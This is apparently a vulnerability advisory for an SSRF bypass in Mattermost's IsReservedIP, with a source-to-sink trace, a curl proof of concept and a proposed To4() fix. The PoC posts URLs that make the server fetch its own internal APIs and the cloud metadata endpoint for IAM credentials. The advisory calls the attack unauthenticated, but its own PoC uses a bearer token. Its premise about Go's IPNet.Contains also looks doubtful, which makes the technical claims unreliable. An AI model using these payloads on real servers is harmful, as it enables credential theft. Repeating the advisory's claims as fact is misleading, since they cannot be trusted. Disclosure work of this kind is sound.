SSRF bypass via IPv4-mapped IPv6 literals in IsReservedIP (CVE-2026-2455)
Summary
IPv4-mapped IPv6 addresses bypass SSRF protections allowing access to internal network resources
The IsReservedIP helper is responsible for blocking requests to internal addresses before Mattermost performs outbound HTTP(S) fetches (image proxy, link previews, marketplace, SAML metadata, etc.). The function iterates a list of IPv4-only CIDRs to decide whether an IP should be rejected. However, when an attacker supplies the address as an IPv4-mapped IPv6 literal (e.g. [::ffff:127.0.0.1]), Go hands the resolver a 128-bit IPv6 struct, so none of the IPv4 ranges match and the address is treated as public. dialContextFilter therefore allows the connection and Mattermost performs the request, enabling full SSRF into localhost, RFC1918 ranges and cloud metadata endpoints.
Go's net.IPNet.Contains intentionally differentiates between native IPv4 and IPv6 encodings, so simply adding IPv4 CIDRs is insufficient — the data must be canonicalized before comparison. The fix normalizes incoming IPs to their effective address family and adds regression tests.
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Source → Sink
Source
server/channels/app/post_metadata.go
Line 622 · getLinkMetadata()
Sink
server/public/shared/httpservice/client.go
Line 30 · IsReservedIP()
Attack surface
Any feature that relies on MakeClient(false) to automatically protect outbound HTTP(S) requests, including link previews, image proxy, marketplace, and SAML metadata fetches.
Preconditions
No authentication required. The attacker only needs the ability to post a message or trigger a server-side URL fetch with a crafted IPv4-mapped IPv6 URL.
Impact
Any feature that relies on MakeClient(false) becomes exposed. An unauthenticated user can post an image/link referencing http://[::ffff:127.0.0.1]:8065/api/v4/users or http://[::ffff:169.254.169.254]/latest/meta-data/ and trick the server into connecting to its own administrative interfaces or cloud metadata. This leaks authentication tokens, allows bypassing network ACLs and can be escalated to remote code execution depending on reachable services.
Exploit path
How the issue forms.
User-controlled content (post message, slash command) results in Mattermost attempting to fetch remote URLs for OpenGraph/image metadata. The URLs are attacker-controlled.
images := model.ParseSlackLinksToMarkdown(response.EphemeralText)Untrusted URL fetches use the default transport with allowIP protections.
client := a.HTTPService().MakeClient(false)The allowIP callback relies on IsReservedIP to reject internal addresses.
allowIP := func(ip net.IP) error { reservedIP := IsReservedIP(ip) ... }IsReservedIP iterates IPv4-only CIDRs. When IP is IPv4-mapped IPv6, Contains never matches, so reservedIP stays false.
if ipRange.Contains(ip) { return true }dialContextFilter ultimately connects to the attacker-specified internal resource because allowIP returned nil.
conn, err := dial(ctx, network, net.JoinHostPort(ip.String(), port))Proof of concept
Reproduction.
Environment
Requirements: Ubuntu 22.04 (any Linux/macOS works).
Install dependencies:
sudo apt update
sudo apt install -y git golang curl jq
Grab Mattermost source and build:
git clone https://github.com/mattermost/mattermost.git
cd mattermost
make build-server
Run server with defaults:
./bin/mattermost &
sleep 5
Configuration
Default config enables link previews and image proxy. No extra config needed. The HTTP service listens on http://localhost:8065.
Delivery
Craft a post containing an IPv4-mapped IPv6 URL pointing to localhost:
curl -i -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <user_token>' \
http://localhost:8065/api/v4/posts \
-d '{
"channel_id": "<channel_id>",
"message": "Check this out http://[::ffff:127.0.0.1]:8065/api/v4/system/ping"
}'
Mattermost's server automatically fetches the URL to build OpenGraph metadata. Because IsReservedIP ignores IPv4-mapped literals, the request goes out.
Observe server log (logs/mattermost.log):
... parseOpenGraphMetadata processing failed requestURL="http://[::ffff:127.0.0.1]:8065/api/v4/system/ping" err="..."
Replace the URL with cloud metadata (http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/) to retrieve credentials.
Outcome
By pointing at administrative endpoints or metadata services via IPv4-mapped IPv6 syntax, an unauthenticated attacker can read internal-only Mattermost APIs, fetch AWS/GCP metadata and obtain IAM credentials, and interact with listening services on 127.0.0.1 or RFC1918 addresses behind firewalls. This is a full SSRF bypass that destroys the trust boundary around MakeClient(false).
Remediation
The fix.
Canonicalize IP addresses before applying any reserved-range logic. This ensures IPv4-mapped/compatible IPv6 addresses are converted back to native IPv4 so existing CIDRs remain effective. The fix introduces a To4() canonicalization check in IsReservedIP and adds regression tests covering IPv4-mapped IPv6 payloads.
Before
func IsReservedIP(ip net.IP) bool {
for _, ipRange := range reservedIPRanges {
if ipRange.Contains(ip) {
return true
}
}
return false
}After
func IsReservedIP(ip net.IP) bool {
// Canonicalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1) to their
// native IPv4 form so that IPv4 CIDR ranges match correctly.
if ip4 := ip.To4(); ip4 != nil {
ip = ip4
}
for _, ipRange := range reservedIPRanges {
if ipRange.Contains(ip) {
return true
}
}
return false
}